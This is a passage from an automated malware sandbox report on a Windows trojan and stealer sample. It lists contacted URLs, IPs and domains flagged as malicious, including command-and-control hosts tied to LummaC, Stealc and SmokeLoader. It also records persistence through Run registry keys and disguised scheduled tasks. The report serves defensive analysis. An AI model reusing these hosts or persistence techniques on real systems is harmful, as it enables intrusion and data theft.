https://liabilityarrangemenyit.shop/api-	7CB9.exe, 0000000D.00000003.2055730018.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp, 7CB9.exe, 0000000D.00000003.2055437058.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp, 7CB9.exe, 0000000D.00000003.2045739017.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNew	explorer.exe, 00000001.00000000.1684483943.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
http://nsis.sf.net/NSIS_ErrorError	InstallSetup4.exe, 0000001E.00000000.2137423347.000000000040A000.00000008.00000001.01000000.00000018.sdmp	false		high
http://schemas.micr	explorer.exe, 00000001.00000000.1687147776.00000000098A8000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.msn.com/en-us/news/politics/clarence-thomas-in-spotlight-as-supreme-court-delivers-blow-	explorer.exe, 00000001.00000000.1684483943.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://aka.ms/Vh5j3k	explorer.exe, 00000001.00000000.1684483943.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.cloudflare.com/5xx-error-landing	7CB9.exe, 0000000D.00000003.2045739017.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp, 7CB9.exe, 0000000D.00000003.2045739017.0000000000EFA000.00000004.00000020.00020000.00000000.sdmp, 7CB9.exe, 0000000D.00000003.2055384050.0000000000EFA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://liabilityarrangemenyit.shop/f	7CB9.exe, 0000000D.00000003.2055730018.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp, 7CB9.exe, 0000000D.00000002.2213925428.0000000000EC1000.00000004.00000020.00020000.00000000.sdmp, 7CB9.exe, 0000000D.00000003.2055437058.0000000000EAD000.00000004.00000020.00020000.00000000.sdmp, 7CB9.exe, 0000000D.00000003.2045739017.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMeu	explorer.exe, 00000001.00000000.1684483943.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://api.msn.com/v1/news/Feed/Windows?&	explorer.exe, 00000001.00000000.1686512188.00000000096DF000.00000004.00000001.00020000.00000000.sdmp	false		high
https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Teaser/humidity.svg	explorer.exe, 00000001.00000000.1684483943.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gTUY-dark	explorer.exe, 00000001.00000000.1684483943.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://liabilityarrangemenyit.shop:443/api	7CB9.exe, 0000000D.00000003.2045739017.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://resergvearyinitiani.shop/apiS	7CB9.exe, 0000000D.00000002.2212946235.0000000000E67000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.rd.com/list/polite-habits-campers-dislike/	explorer.exe, 00000001.00000000.1684483943.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://sabotage.net	87C6.exe, 0000000F.00000003.3145333082.000000000322B000.00000004.00000020.00020000.00000000.sdmp, 87C6.exe, 0000000F.00000003.3136582324.000000000402E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://android.notify.windows.com/iOS	explorer.exe, 00000001.00000000.1689520118.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/news/us/metro-officials-still-investigating-friday-s-railcar-derailment/ar	explorer.exe, 00000001.00000000.1684483943.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://img.s-msn.com/tenant/amp/entityid/AAbC0oi.img	explorer.exe, 00000001.00000000.1684483943.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.msn.com/	explorer.exe, 00000001.00000000.1686512188.00000000097D4000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/news/politics/exclusive-john-kelly-goes-on-the-record-to-confirm-several-d	explorer.exe, 00000001.00000000.1684483943.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://outlook.com_	explorer.exe, 00000001.00000000.1689520118.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	low
https://www.cloudflare.com/learning/ddos/glossary/malware/	7CB9.exe, 0000000D.00000003.2045739017.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV-dark	explorer.exe, 00000001.00000000.1684483943.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com:443/en-us/feed	explorer.exe, 00000001.00000000.1684483943.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.rd.com/newsletter/?int_source=direct&int_medium=rd.com&int_campaign=nlrda_20221001_toppe	explorer.exe, 00000001.00000000.1684483943.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/news/world/agostini-krausz-and-l-huillier-win-physics-nobel-for-looking-at	explorer.exe, 00000001.00000000.1684483943.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/weather/topstories/rest-of-hurricane-season-in-uncharted-waters-because-of	explorer.exe, 00000001.00000000.1684483943.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.83.220	liabilityarrangemenyit.shop	United States	13335	CLOUDFLARENETUS	true
185.172.128.90	unknown	Russian Federation	50916	NADYMSS-ASRU	false
104.21.80.171	gemcreedarticulateod.shop	United States	13335	CLOUDFLARENETUS	true
142.132.202.219	unknown	Canada	22686	UNIVERSITYOFWINNIPEG-ASNCA	false
187.211.34.223	unknown	Mexico	8151	UninetSAdeCVMX	true
45.66.33.45	unknown	Netherlands	47482	SPECTRENL	false
144.76.170.20	unknown	Germany	24940	HETZNER-ASDE	false
193.122.131.100	imap.cogeco.ca	United States	31898	ORACLE-BMC-31898US	false
186.147.159.149	sjyey.com	Colombia	10620	TelmexColombiaSACO	true
144.48.81.160	unknown	Myanmar	13830	NEXRILUS	false
104.21.67.46	real.avalmag.com	United States	13335	CLOUDFLARENETUS	true
95.216.154.139	unknown	Germany	24940	HETZNER-ASDE	false
86.59.21.38	unknown	Austria	8437	UTA-ASAT	false
185.32.222.237	unknown	Switzerland	51395	AS-SOFTPLUSCH	false
142.251.15.93	youtube-ui.l.google.com	United States	15169	GOOGLEUS	false
77.73.69.128	unknown	Russian Federation	43317	FISHNET-ASRU	false
47.56.94.99	unknown	United States	45102	CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC	false
185.172.128.127	unknown	Russian Federation	50916	NADYMSS-ASRU	false
185.198.26.149	unknown	Germany	63473	HOSTHATCHUS	false
31.164.215.246	unknown	Switzerland	6730	SUNRISECH	false
192.46.225.58	unknown	United States	5501	FRAUNHOFER-CLUSTER-BWResearchInstitutesspreadalloverGe	false
92.53.64.209	unknown	Russian Federation	49505	SELECTELRU	false
91.215.85.120	selebration17io.io	Russian Federation	34665	PINDC-ASRU	true
185.172.128.19	unknown	Russian Federation	50916	NADYMSS-ASRU	true
185.196.8.22	bobjbem.com	Switzerland	34888	SIMPLECARRER2IT	false
46.226.104.31	unknown	France	203476	GANDI-AS-2Domainnameregistrar-httpwwwgandinetFR	false
172.67.213.168	secretionsuitcasenioise.shop	United States	13335	CLOUDFLARENETUS	true
185.172.128.79	unknown	Russian Federation	50916	NADYMSS-ASRU	false
87.248.7.41	unknown	Norway	29492	EIDSIVA-ASNNO	false
162.251.119.10	unknown	Reserved	6576	SUMMITCOMMUS	false
138.36.3.134	emgvod.com	Brazil	264562	TEXNETSERVICOSDECOMUNICACAOEMINFORMATICALTDBR	true
131.188.40.189	unknown	Germany	680	DFNVereinzurFoerderungeinesDeutschenForschungsnetzese	false
104.21.58.31	claimconcessionrebe.shop	United States	13335	CLOUDFLARENETUS	true
159.69.71.228	unknown	Germany	24940	HETZNER-ASDE	false
108.39.229.147	unknown	United States	701	UUNETUS	false
198.245.60.91	unknown	Canada	16276	OVHFR	false
23.4.32.216	api.steampowered.com	United States	16625	AKAMAI-ASUS	false
103.20.213.70	mmtplonline.com	India	17439	NETMAGIC-APNetmagicDatacenterMumbaiIN	false
199.58.81.140	unknown	Canada	7765	KOUMBITCA	false
185.220.101.144	unknown	Germany	208294	ASMKNL	false
104.21.94.2	resergvearyinitiani.shop	United States	13335	CLOUDFLARENETUS	true
185.141.63.9	unknown	Bulgaria	44901	BELCLOUDBG	false
217.160.49.126	unknown	Germany	8560	ONEANDONE-ASBrauerstrasse48DE	false
190.224.203.37	trmpc.com	Argentina	7303	TelecomArgentinaSAAR	true
5.42.64.33	unknown	Russian Federation	39493	RU-KSTVKolomnaGroupofcompaniesGuarantee-tvRU	false
193.160.32.19	unknown	unknown	54600	PEGTECHINCUS	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	39.0.0 Ruby
Analysis ID:	1386672
Start date and time:	2024-02-05 10:56:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 14m 39s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	48
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	5Yzloz244r.exe renamed because original name is a hash value
Original Sample Name:	e6399303ceaa23310986ca0f5f6444df.exe
Detection:	MAL
Classification:	mal100.phis.troj.spyw.expl.evad.winEXE@164/206@26/47
EGA Information:	Successful, ratio: 85.7%
HCA Information:	Successful, ratio: 74% Number of executed functions: 97 Number of non-executed functions: 57
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, Conhost.exe, dllhost.exe, consent.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.42.65.92, 20.189.173.20, 52.168.117.173, 20.189.173.22, 20.42.73.29, 104.18.10.8, 104.18.11.8
Excluded domains from analysis (whitelisted): onedsblobprdeus16.eastus.cloudapp.azure.com, slscr.update.microsoft.com, onedsblobprdwus15.westus.cloudapp.azure.com, onedsblobprdwus17.westus.cloudapp.azure.com, ctldl.windowsupdate.com, anfesq.com, cbinr.com, www.vseinstrumenti.ru.cdn.cloudflare.net, fe3cr.delivery.mp.microsoft.com, tceducn.com, soetegem.com, onedsblobprdeus17.eastus.cloudapp.azure.com, ocsp.digicert.com, login.live.com, arrunda.ru, blobcollector.events.data.trafficmanager.net, onedsblobprdeus15.eastus.cloudapp.azure.com, umwatson.events.data.microsoft.com, rimakc.ru
Execution Graph export aborted for target 7CB9.exe, PID 7096 because there are no executed function
HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
09:57:18	Task Scheduler	Run new task: Firefox Default Browser Agent F9D258B47E9D3D09 path: C:\Users\user\AppData\Roaming\jjdjbtc
09:57:34	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run CSRSS "C:\ProgramData\Drivers\csrss.exe"
09:57:42	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run CSRSS "C:\ProgramData\Drivers\csrss.exe"
09:57:55	Task Scheduler	Run new task: MalayamaraUpdate path: "C:\Users\user\AppData\Local\Temp\Updater.exe"
09:58:13	Task Scheduler	Run new task: Firefox Default Browser Agent 64C5B365E092AE2B path: C:\Users\user\AppData\Roaming\addjbtc
09:58:57	Task Scheduler	Run new task: Utsysc.exe path: C:\Users\user\AppData\Local\Temp\68fd3d7ade\Utsysc.exe
10:57:01	API Interceptor	159023x Sleep call for process: explorer.exe modified
10:57:24	API Interceptor	1x Sleep call for process: 6C7B.exe modified
10:57:48	API Interceptor	1x Sleep call for process: WerFault.exe modified
10:57:49	API Interceptor	6x Sleep call for process: 288c47bbc1871b439df19ff4df68f076.exe modified
10:57:50	API Interceptor	33x Sleep call for process: powershell.exe modified
10:57:52	API Interceptor	1x Sleep call for process: FourthX.exe modified
10:58:08	API Interceptor	12837x Sleep call for process: 87C6.exe modified
10:58:10	API Interceptor	11341x Sleep call for process: vbsmartcardviewer.exe modified
10:58:25	API Interceptor	13767x Sleep call for process: csrss.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.83.220	e5eFd2bt37.exe	Get hash	malicious	LummaC, CryptOne, Glupteba, SmokeLoader, Socks5Systemz, Stealc	Browse
	SecuriteInfo.com.Win32.TrojanX-gen.7203.10097.exe	Get hash	malicious	LummaC	Browse
	US.exe	Get hash	malicious	LummaC	Browse
	khwnPSqvVc.exe	Get hash	malicious	LummaC, Amadey, PureLog Stealer, RedLine	Browse
	jgCClokXhp.exe	Get hash	malicious	LummaC	Browse
	SecuriteInfo.com.FileRepMalware.3496.13806.exe	Get hash	malicious	LummaC	Browse
	9D8xE5FizL.exe	Get hash	malicious	LummaC, PureLog Stealer	Browse
	file.exe	Get hash	malicious	LummaC, PureLog Stealer, RedLine	Browse
	file.exe	Get hash	malicious	LummaC, PureLog Stealer, RedLine, RisePro Stealer, SmokeLoader, Socks5Systemz, zgRAT	Browse
	sls56uzW5x.exe	Get hash	malicious	LummaC	Browse
185.172.128.90	e5eFd2bt37.exe	Get hash	malicious	LummaC, CryptOne, Glupteba, SmokeLoader, Socks5Systemz, Stealc	Browse	185.172.128.90/cpa/ping.php?substr=four&s=ab
	AcQProLwJ1.exe	Get hash	malicious	Stealc, Vidar	Browse	185.172.128.90/cpa/ping.php?substr=eight&s=ab
	cl51g5w2Bg.exe	Get hash	malicious	Stealc, Vidar	Browse	185.172.128.90/cpa/ping.php?substr=two&s=ab
	3MQdbVEi4I.exe	Get hash	malicious	Fabookie, Glupteba, SmokeLoader, Stealc, Vidar	Browse	185.172.128.90/cpa/ping.php?substr=nine&s=ab
	file.exe	Get hash	malicious	LummaC, Amadey, PureLog Stealer, RedLine, RisePro Stealer, Stealc, Xmrig	Browse	185.172.128.90/cpa/ping.php?substr=nine&s=ab
	kSfQIMr2tu.exe	Get hash	malicious	Glupteba, Socks5Systemz, Stealc, Vidar	Browse	185.172.128.90/cpa/ping.php?substr=three&s=ab
	xaFEsGU1T4.exe	Get hash	malicious	GCleaner	Browse	185.172.128.90/cpa/ping.php?substr=one&s=two
	aXv0VxfPWu.exe	Get hash	malicious	Amadey, Glupteba, PureLog Stealer, RedLine, SmokeLoader, Stealc, Vidar	Browse	185.172.128.90/cpa/ping.php?substr=nine&s=ab
	SecuriteInfo.com.Win32.TrojanX-gen.2071.5456.exe	Get hash	malicious	RedLine, RisePro Stealer, Stealc, Xmrig	Browse	185.172.128.90/cpa/ping.php?substr=nine&s=ab
	CQ50184Oo8.exe	Get hash	malicious	GCleaner	Browse	185.172.128.90/cpa/ping.php?substr=one&s=two
104.21.80.171	SecuriteInfo.com.Win32.PWSX-gen.18465.17543.exe	Get hash	malicious	LummaC, Amadey, PureLog Stealer, RedLine, RisePro Stealer	Browse
	SecuriteInfo.com.Win32.TrojanX-gen.7203.10097.exe	Get hash	malicious	LummaC	Browse
	SecuriteInfo.com.Win32.TrojanX-gen.7203.10097.exe	Get hash	malicious	LummaC	Browse
	RGAVGSoWvM.exe	Get hash	malicious	LummaC, Amadey, PureLog Stealer, RedLine, Stealc, Xmrig, zgRAT	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	khwnPSqvVc.exe	Get hash	malicious	LummaC, Amadey, PureLog Stealer, RedLine	Browse
	jgCClokXhp.exe	Get hash	malicious	LummaC	Browse
	9D8xE5FizL.exe	Get hash	malicious	LummaC, PureLog Stealer	Browse
	9D8xE5FizL.exe	Get hash	malicious	LummaC, PureLog Stealer	Browse
142.132.202.219	tx6lJfVP3c.exe	Get hash	malicious	Glupteba, RedLine, SmokeLoader, Xmrig, zgRAT	Browse	200
	dFagySOU5B.exe	Get hash	malicious	Glupteba, RedLine, SmokeLoader, Xmrig, zgRAT	Browse	200
	aXCZLdgtmG.exe	Get hash	malicious	Glupteba, RedLine, SmokeLoader, Xmrig, zgRAT	Browse	200
	acQTVWmdwC.exe	Get hash	malicious	Glupteba, LummaC Stealer, RedLine, SmokeLoader, Vidar, Xmrig, zgRAT	Browse	200

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
mmtplonline.com	e5eFd2bt37.exe	Get hash	malicious	LummaC, CryptOne, Glupteba, SmokeLoader, Socks5Systemz, Stealc	Browse	103.20.213.70
	Gwrx3K7sz8.exe	Get hash	malicious	Amadey, SmokeLoader	Browse	103.20.213.70
	AVd1AwJFiQ.exe	Get hash	malicious	LummaC, Amadey, SmokeLoader	Browse	103.20.213.70
	hogrnSLExg.exe	Get hash	malicious	SmokeLoader	Browse	103.20.213.70
	nH5yIyTEes.exe	Get hash	malicious	SmokeLoader	Browse	103.20.213.70
	fcdf869bc179759c8be3093adec60b334d25cad63b78fd3d28229b0af88b765b_dump.exe	Get hash	malicious	SmokeLoader	Browse	103.20.213.70
	file.exe	Get hash	malicious	Clipboard Hijacker, SmokeLoader	Browse	103.20.213.70
	Ginb1xVyuO.exe	Get hash	malicious	LummaC, Clipboard Hijacker, LummaC Stealer, SmokeLoader	Browse	103.20.213.70
	N0M4Yz3bdq.exe	Get hash	malicious	Clipboard Hijacker, SmokeLoader	Browse	103.20.213.70
	bmYPl7n566.exe	Get hash	malicious	Clipboard Hijacker, SmokeLoader	Browse	103.20.213.70
trmpc.com	e5eFd2bt37.exe	Get hash	malicious	LummaC, CryptOne, Glupteba, SmokeLoader, Socks5Systemz, Stealc	Browse	211.53.230.67
	nxMV6rcvii.exe	Get hash	malicious	LummaC, Glupteba, LummaC Stealer, SmokeLoader, Socks5Systemz, Stealc, Vidar	Browse	187.134.41.207
	DzVuoFusnL.exe	Get hash	malicious	LummaC, Glupteba, LummaC Stealer, SmokeLoader, Stealc	Browse	93.112.222.223
	38gmTjpc3Y.exe	Get hash	malicious	LummaC, Glupteba, LummaC Stealer, SmokeLoader, Socks5Systemz, Stealc	Browse	190.195.60.212
	file.exe	Get hash	malicious	LummaC, Glupteba, LummaC Stealer, SmokeLoader	Browse	186.182.55.44
	file.exe	Get hash	malicious	Glupteba, LummaC Stealer, SmokeLoader, Socks5Systemz, Stealc	Browse	186.147.159.149
	Gcn7BdFE9N.exe	Get hash	malicious	Glupteba, LummaC Stealer, SmokeLoader, Stealc	Browse	109.175.29.39
	file.exe	Get hash	malicious	Glupteba, SmokeLoader, Socks5Systemz, Stealc, Vidar	Browse	58.151.148.90
api.steampowered.com	https://stk50.com/index-auth?openid.ns=mkbl5i04http://specs.openid.net/auth	Get hash	malicious	Unknown	Browse	184.30.122.179
	https://twitch-gamer.com/9wBu-auth	Get hash	malicious	Unknown	Browse	184.30.122.179
	https://skinboxs.com/simplenavi-auth	Get hash	malicious	Unknown	Browse	184.30.122.179
	wfxre.exe	Get hash	malicious	Unknown	Browse	104.127.87.210
	XWX354.exe	Get hash	malicious	Unknown	Browse	104.127.87.210
	WEX4.exe	Get hash	malicious	Unknown	Browse	104.127.87.210
	XW_31.exe	Get hash	malicious	Unknown	Browse	23.6.70.254
	1x43xx.exe	Get hash	malicious	Unknown	Browse	104.127.87.210
	WX2.exe	Get hash	malicious	Unknown	Browse	23.36.87.113
	WEXTRACT.EXE.exe	Get hash	malicious	Unknown	Browse	23.36.87.113
resergvearyinitiani.shop	e5eFd2bt37.exe	Get hash	malicious	LummaC, CryptOne, Glupteba, SmokeLoader, Socks5Systemz, Stealc	Browse	104.21.94.2
resergvearyinitiani.shop	zdVUMYxiFE.exe	Get hash	malicious	LummaC	Browse	172.67.217.100
selebration17io.io	e5eFd2bt37.exe	Get hash	malicious	LummaC, CryptOne, Glupteba, SmokeLoader, Socks5Systemz, Stealc	Browse	91.215.85.120
	piAzKDdQun.exe	Get hash	malicious	SmokeLoader	Browse	91.215.85.120
	nxMV6rcvii.exe	Get hash	malicious	LummaC, Glupteba, LummaC Stealer, SmokeLoader, Socks5Systemz, Stealc, Vidar	Browse	91.215.85.120
	DzVuoFusnL.exe	Get hash	malicious	LummaC, Glupteba, LummaC Stealer, SmokeLoader, Stealc	Browse	91.215.85.120
	38gmTjpc3Y.exe	Get hash	malicious	LummaC, Glupteba, LummaC Stealer, SmokeLoader, Socks5Systemz, Stealc	Browse	91.215.85.120
	file.exe	Get hash	malicious	LummaC, Glupteba, LummaC Stealer, SmokeLoader	Browse	91.215.85.120
	file.exe	Get hash	malicious	Glupteba, LummaC Stealer, SmokeLoader, Socks5Systemz, Stealc	Browse	91.215.85.120
	Gcn7BdFE9N.exe	Get hash	malicious	Glupteba, LummaC Stealer, SmokeLoader, Stealc	Browse	91.215.85.120
	file.exe	Get hash	malicious	Glupteba, SmokeLoader, Socks5Systemz, Stealc, Vidar	Browse	91.215.85.120
	file.exe	Get hash	malicious	LummaC Stealer, SmokeLoader	Browse	91.215.85.120

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
UNIVERSITYOFWINNIPEG-ASNCA	june.exe	Get hash	malicious	Socks5Systemz	Browse	142.132.202.219
	kjDh9349TU.exe	Get hash	malicious	Socks5Systemz	Browse	142.132.202.219
	1uXY1CA8kJ.exe	Get hash	malicious	Socks5Systemz	Browse	142.132.202.219
	klWXf2XogF.exe	Get hash	malicious	Socks5Systemz	Browse	142.132.202.219
	38gmTjpc3Y.exe	Get hash	malicious	LummaC, Glupteba, LummaC Stealer, SmokeLoader, Socks5Systemz, Stealc	Browse	142.132.202.219
	prog.apk	Get hash	malicious	AndrMonitor	Browse	142.132.131.208
	NXcDoGCRJM.exe	Get hash	malicious	Socks5Systemz	Browse	142.132.202.219
	tuc4.exe	Get hash	malicious	Socks5Systemz	Browse	142.132.202.219
	SecuriteInfo.com.Trojan.Win32.Crypt.13970.25752.exe	Get hash	malicious	Socks5Systemz	Browse	142.132.202.219
	SecuriteInfo.com.Trojan.Win32.Crypt.1178.11191.exe	Get hash	malicious	Socks5Systemz	Browse	142.132.202.219
NADYMSS-ASRU	e5eFd2bt37.exe	Get hash	malicious	LummaC, CryptOne, Glupteba, SmokeLoader, Socks5Systemz, Stealc	Browse	185.172.128.19
	OPnywcBrh6.exe	Get hash	malicious	Stealc, Vidar	Browse	185.172.128.24
	3vEtFxRJ9c.exe	Get hash	malicious	Stealc, Vidar	Browse	185.172.128.79
	1fXeff6C8A.exe	Get hash	malicious	Stealc, Vidar	Browse	185.172.128.24
	9DTRwP8V3o.exe	Get hash	malicious	Nymaim	Browse	185.172.128.90
	hqsQzin1r6.exe	Get hash	malicious	Stealc, Vidar	Browse	185.172.128.79
	9DTRwP8V3o.exe	Get hash	malicious	Nymaim	Browse	185.172.128.90
	Sq5JZYYFPc.exe	Get hash	malicious	Stealc, Vidar	Browse	185.172.128.79
	AcQProLwJ1.exe	Get hash	malicious	Stealc, Vidar	Browse	185.172.128.79
	29fabd2edb0606ebd3c176c967d040fae12acb6f3b8d6.exe	Get hash	malicious	Stealc, Vidar	Browse	185.172.128.79
CLOUDFLARENETUS	e5eFd2bt37.exe	Get hash	malicious	LummaC, CryptOne, Glupteba, SmokeLoader, Socks5Systemz, Stealc	Browse	104.21.94.2
	SecuriteInfo.com.HEUR.Trojan-PSW.Script.Generic.6891.7419.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	http://webcompanion.com	Get hash	malicious	Unknown	Browse	104.17.9.52
	SecuriteInfo.com.HEUR.Trojan-PSW.Script.Generic.6891.7419.exe	Get hash	malicious	Unknown	Browse	162.159.128.233
	https://ecv.microsoft.com/jPISrPcH0k	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	104.17.2.184
	https://link.mail.beehiiv.com/ls/click?upn=5qaoUduPdkDWlN4pMN7nLIW9bXg4c81ybu725hTytOxsYo8lxEvSXnT3bMungx781QSfZGmXk2b6gAHCQuoXXeviXSxGcZKejuvaFOCKGY9JeSpXi9acVAWZkfmAXbaYThrbeXNEFEW4rZV-2BpNYZNwBZIEr	Get hash	malicious	Unknown	Browse	104.18.69.40
	eu5v2YSyly.exe	Get hash	malicious	FormBook	Browse	172.67.146.31
	Tk3pGuyMg5.exe	Get hash	malicious	FormBook	Browse	104.21.70.192
	dpMzDn7RSe.exe	Get hash	malicious	FormBook	Browse	104.21.74.31
	foWlKxevLl.exe	Get hash	malicious	FormBook	Browse	172.67.165.153
CLOUDFLARENETUS	e5eFd2bt37.exe	Get hash	malicious	LummaC, CryptOne, Glupteba, SmokeLoader, Socks5Systemz, Stealc	Browse	104.21.94.2
	SecuriteInfo.com.HEUR.Trojan-PSW.Script.Generic.6891.7419.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	http://webcompanion.com	Get hash	malicious	Unknown	Browse	104.17.9.52
	SecuriteInfo.com.HEUR.Trojan-PSW.Script.Generic.6891.7419.exe	Get hash	malicious	Unknown	Browse	162.159.128.233
	https://ecv.microsoft.com/jPISrPcH0k	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	104.17.2.184
	https://link.mail.beehiiv.com/ls/click?upn=5qaoUduPdkDWlN4pMN7nLIW9bXg4c81ybu725hTytOxsYo8lxEvSXnT3bMungx781QSfZGmXk2b6gAHCQuoXXeviXSxGcZKejuvaFOCKGY9JeSpXi9acVAWZkfmAXbaYThrbeXNEFEW4rZV-2BpNYZNwBZIEr	Get hash	malicious	Unknown	Browse	104.18.69.40
	eu5v2YSyly.exe	Get hash	malicious	FormBook	Browse	172.67.146.31
	Tk3pGuyMg5.exe	Get hash	malicious	FormBook	Browse	104.21.70.192
	dpMzDn7RSe.exe	Get hash	malicious	FormBook	Browse	104.21.74.31
	foWlKxevLl.exe	Get hash	malicious	FormBook	Browse	172.67.165.153
UninetSAdeCVMX	e5eFd2bt37.exe	Get hash	malicious	LummaC, CryptOne, Glupteba, SmokeLoader, Socks5Systemz, Stealc	Browse	187.134.41.207
	x86-20240203-1411.elf	Get hash	malicious	Mirai	Browse	189.162.224.60
	2dfKdEt8JJ.elf	Get hash	malicious	Mirai	Browse	189.156.197.1
	6NcBKTrz1J.elf	Get hash	malicious	Mirai	Browse	201.127.239.125
	6pGMHn7vTF.elf	Get hash	malicious	Mirai	Browse	189.185.162.187
	7oT3AVmeSf.elf	Get hash	malicious	Unknown	Browse	201.135.69.82
	79rPuv7xic.elf	Get hash	malicious	Unknown	Browse	187.208.37.249
	DFigwYrJPM.elf	Get hash	malicious	Mirai	Browse	189.187.204.79
	2LXl292GL7.elf	Get hash	malicious	Mirai	Browse	189.168.231.118
	UKDbGLoPJy.elf	Get hash	malicious	Mirai	Browse	189.169.12.208

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	e5eFd2bt37.exe	Get hash	malicious	LummaC, CryptOne, Glupteba, SmokeLoader, Socks5Systemz, Stealc	Browse	104.21.83.220 104.21.80.171 104.21.94.2 104.21.58.31 172.67.213.168 103.20.213.70
	file.exe	Get hash	malicious	RisePro Stealer	Browse	104.21.83.220 104.21.80.171 104.21.94.2 104.21.58.31 172.67.213.168 103.20.213.70
	Gwrx3K7sz8.exe	Get hash	malicious	Amadey, SmokeLoader	Browse	104.21.83.220 104.21.80.171 104.21.94.2 104.21.58.31 172.67.213.168 103.20.213.70
	purchaseorder.bat	Get hash	malicious	AveMaria, DBatLoader, UACMe	Browse	104.21.83.220 104.21.80.171 104.21.94.2 104.21.58.31 172.67.213.168 103.20.213.70
	TOcuLeqhj0.exe	Get hash	malicious	RisePro Stealer	Browse	104.21.83.220 104.21.80.171 104.21.94.2 104.21.58.31 172.67.213.168 103.20.213.70
	r1cE8H161I.exe	Get hash	malicious	RisePro Stealer	Browse	104.21.83.220 104.21.80.171 104.21.94.2 104.21.58.31 172.67.213.168 103.20.213.70
